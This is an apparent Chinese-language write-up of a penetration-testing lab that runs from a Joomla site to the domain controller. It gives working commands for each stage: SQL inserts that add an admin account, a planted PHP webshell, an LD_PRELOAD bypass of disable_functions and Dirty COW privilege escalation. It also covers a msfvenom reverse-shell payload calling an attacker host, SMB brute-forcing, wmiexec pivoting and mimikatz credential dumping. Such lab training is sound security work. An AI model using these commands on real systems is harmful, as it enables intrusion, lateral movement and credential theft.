一、环境搭建

环境配置:
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。

 

注:名称及网段必须符合上述图片,进行了固定ip配置。
描述:
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。

 


设备信息:
web-centos:
双网卡:桥接+VMnet2

 

web1-ubantu:
单网卡:VMnet2

Windows server 2008:
单网卡:VMnet2

 

Windows server 2012:
单网卡:VMnet2

 

PC-Windows 7
单网卡:VMnet2

 

 

 

 

 

 

目标信息:

网站主页 http://192.168.1.110/

 

二、WEB渗透

主页信息,注意到地址连接处是PHP网站

 

 

改变地址大小写,报错发现系统是Ubuntu系统

 

 

浏览网站时找到了一个用户登录页面

 

 

再进行端口服务扫描

 

 

开放了端口22、80、3306

其中80端口上的服务是http,版本是Nginx 1.9.4,那么该主机可能只是起到了一个中转的作用,真正的web服务器并不是这一台;

开放了3306端口,那么如果能找到账号密码也许就可以远程连接。

御剑目录扫描:

 

 

robots页面里面存在一些敏感目录

 

 

找到了后台登录的地址:

 

 

在这里可以发现它是使用的Joomla搭建的网站,在kali中有针对该CMS的扫描工具,可以扫描一下。

(注:若没有的话可以再github上下载安装)

git clone https://github.com/rezasp/joomscan.git

cd joomscan

perl joomscan.pl --url http://192.168.1.100

===========================================================================

确定了版本型号是 3.9.12(该版本存在修改模板getshell的方法)

 

 

这里是发现了一个配置文件的敏感目录,里面找到了连接mysql数据库的账号密码

 

 

尝试远程连接找到后台登录的账号密码

 

 

连接成功,这里虽然找到了管理员的账号密码,但是密码是被加密的,而加密方式也并不知道(其实一般的网站后台账号的加密方式是MD5,这种的就可以直接将“123456”进行加密把他的替换掉,就可以登陆了,前提是要备份一下他原先的密码;但是这种就不能使用这种方式了)

 

 

另一种方式,直接添加新的管理员账户(根据joomla官方文档 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn、如何回复或重置管理员密码,可以添加一个管理员账户进去方便我们操作)

1 INSERT INTO `am2zu_users`
2    (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
3 VALUES ('Administrator2', 'admin2',
4  'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
5 INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
6 VALUES (LAST_INSERT_ID(),'8');

 

这里就添加了一个admin2/secret超级管理员账户(后台管理界面)

然后Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,写入一句话木马。

 

 

保存后蚁剑连接http://x.x.x.x/templates/beez3/webshell.php

 

 

连接成功后运行终端命令,但是都返回ret=127

 

 

这里可能是对系统执行函数做了限制,可以上传一个phpinfo脚本页面查看PHP的配置信息

 

 

可以看到这里禁用了一系列的函数

 

 

在GitHub上有一种方法可以进行免杀绕过

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

上传文件bypass_diablefunc.php 和 bypass_diablefunc_x64.so到可读写执行的目录下

执行方式:

http://192.168.1.109/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

 

 

这里的outpath路径在tmp下就可以,下一级目录可以是任意的,即使是不存在的也可以

 

前面确定了系统是Linux系统,输入ifconfig查看IP地址,只有一个网卡,确定真实web服务器为192.168.93.120,是一台内网服务器。结合前面搜集到的信息可以基本判断出当前web服务器是有两台构成,一台在内网的真实服务器,一台是代理服务器,Nginx反向代理;且web服务器的系统是Ubuntu系统,内核版本较新,先不看提权。

在翻系统内的文件的时候在tmp目录下的mysql文件夹中找到了一个test.txt文件,里面存放着账号密码,应该是代理服务器的,可以尝试登录

 

 

登录后可以看到是有两张网卡,说明这是一台出网机,内网IP是192.168.93.100,且当前账户的权限并不高。

 

三、内网渗透

###############################################################################

先整理一下前面获取到的资源:

1、webshell(http://192.168.1.109/templates/beez3/webshell.php   密码:shell   无执行命令的权限)

2、出网机的控制权限(非root,wwwuser/wwwuser_123Aqx)

3、mysql账户(testuser/cvcvgjASD!@)

4、网站后台账户(admin2/secret)

5、LD_PRELOAD绕过,执行命令

(http://192.168.1.109/templates/beez3/bypass_disablefunc.php?cmd=cat+/proc/version&outpath=/tmp/fgasdfgsagsadhj&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so)

###############################################################################

在内网进行横向移动的前提是需要一台跳板机,所以需要获取到这台出网机的完全控制权限,前面收集到的信息中,该系统的系统内核版本在脏牛的提权范围内,可以进行提权。

 

 

脏牛影响范围:

Centos7 /RHEL73.10.0-327.36.3.el7

Cetnos6/RHEL62.6.32-642.6.2.el6

Ubuntu16.104.8.0-26.28

Ubuntu16.044.4.0-45.66

Ubuntu14.043.13.0-100.147

Debian83.16.36-1+deb8u2

Debian73.2.82-1

 

提权:

上传dirty.c文件到出网机内

 

 

执行命令gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件(exp 下载地址:https://github.com/FireFart/dirtycow)

 

 

执行 ./dirty password 提权

 

此时就添加了一个用户名为firefart,密码为admin的管理员账户。ssh远程连接成功,权限为最高级

 

 

获得完全的控制权限之后需要设置代理进入内网,借助MSF生成木马控制主机,再借助socks4a将内网流量代理出来

 

派生MSF会话:

1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf

 

 

将这个后门文件上传到控制的出网服务器上,这里要注意文件的权限,必须要能执行

 

在msf上设置监听模块,进行监听:

1 use exploit/multi/handler   //设置监听模块
2 set lhost 192.168.1.114
3 set payload linux/x86/meterpreter/reverse_tcp   //设置监听payload
4 set lhost 192.168.1.114
5 run

之后再运行后门文件,获得控制会话

 

 

前面我们判断出内网的ip段是192.168.93.0/24,所以要先添加路由,探测内网中存活的主机。

 

探测内网存活主机

经过探测发现了有三台主机存活,如下:

192.168.93.10 Windows sever 2012 R2

192.168.93.20 Windows server 2008 sp2

192.168.93.30 Windows 7 sp1

可以尝试爆破一下主机的本地管理员密码:

 

1 use auxiliary/scanner/smb/smb_login 
2 set rhosts 192.168.93.10
3 set SMBUSER administrator
4 set PASS_FILE /root/tool/TopDevPwd.txt
5 run

 

这里爆破出了08主机和win7主机的密码:123qwe!ASD

现在知道了两台主机的账号密码,利用socks4a代理,配合ProxyChains来控制内网主机。

配置proxychains代理链的配置文件/etc/proxychains.conf

之后可以利用wmi来控制主机,进行操作(wmi 出现在所有的windows操作系统中,由一组强大的工具集合组成,用于管理本地或远程的windows系统。攻击者使用wmi攻击时windows系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。下载地址

https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)

执行命令:

proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

即可控制主机

 

 

先查看一下他的网卡信息

 

 

可以了解到,内网中是存在域控的,也是DNS服务器192.168.93.10,至此基本能够确定内网拓扑了:一台centos做了Nginx反向代理了一个Web服务,且拥有两张网卡;Web服务部署在一台Ubuntu服务器上,拥有一张网卡;一台域控服务器server 2012,;一台内网PC主机win7;一台server 2008 服务器。表格如下:

(反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。反向代理的工作原理是,代理服务器来接受客户端的网络访问连接请求,然后服务器将请求有策略的转发给网络中实际工作的业务服务器,并将从业务服务器处理的结果,返回给网络上发起连接请求的客户端。反向代理优点:1、提高了内部服务器的安;2、加快了对内部服务器的访问速度;2、节约了有限的IP资源)

tasklist /V查看系统进程,可以发现有TEST域进程,那么就可以尝试抓取密码。

 

 

mimikatz抓取域控密码

kali 使用 smbclient 通过代理连接 windows server 2008 上传 mimikatz。

 

proxychains smbclient //192.168.93.20/C$ -U administrator

put mimikatz.exe

 

先上传mimikatz工具

 

 

然后利用wmiexec.py运行工具抓取密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

 

 

至此就已经获取了所有主机的密码

 

 IPC远程连接

IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。

 

利用条件:

1、管理员开启了默认共享

2、139或445端口开放

 

利用wmi连接08服务器,然后利用IPC连接域控服务器,读取内部重要文件

IPC连接

 

 

寻找重要文件

 

 

读取文件

 

 

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

最终成果:

1、webshell(http://192.168.1.109/templates/beez3/webshell.php   密码:shell   无执行命令的权限)

2、出网机的控制权限(非root,wwwuser/wwwuser_123Aqx)(root权限:firefart/admin)

3、mysql账户(testuser/cvcvgjASD!@)

4、网站后台账户(admin2/secret)

5、LD_PRELOAD绕过,执行命令

(http://192.168.1.109/templates/beez3/bypass_disablefunc.php?cmd=cat+/proc/version&outpath=/tmp/fgasdfgsagsadhj&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so) 注:这里是直接对web服务进行控制,并不是出网机

6、域控服务器账号密码:administrator/zxcASDqw123!!

7、Windows server 2008 服务器账号密码:administrator/123qwe!ASD

8、PC主机Windows 7账号密码:administrator/123qwe!ASD

注:

添加代理proxychains+socks4a,配合将内网流量代理出来

利用wmi控制Windows server 2008主机proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20',同样的方法也可以控制192.168.93.30主机;在知道了域控的密码之后也可以用这种方式进行控制。

在Windows server 2008上利用wmi+IPC读取域控中的文件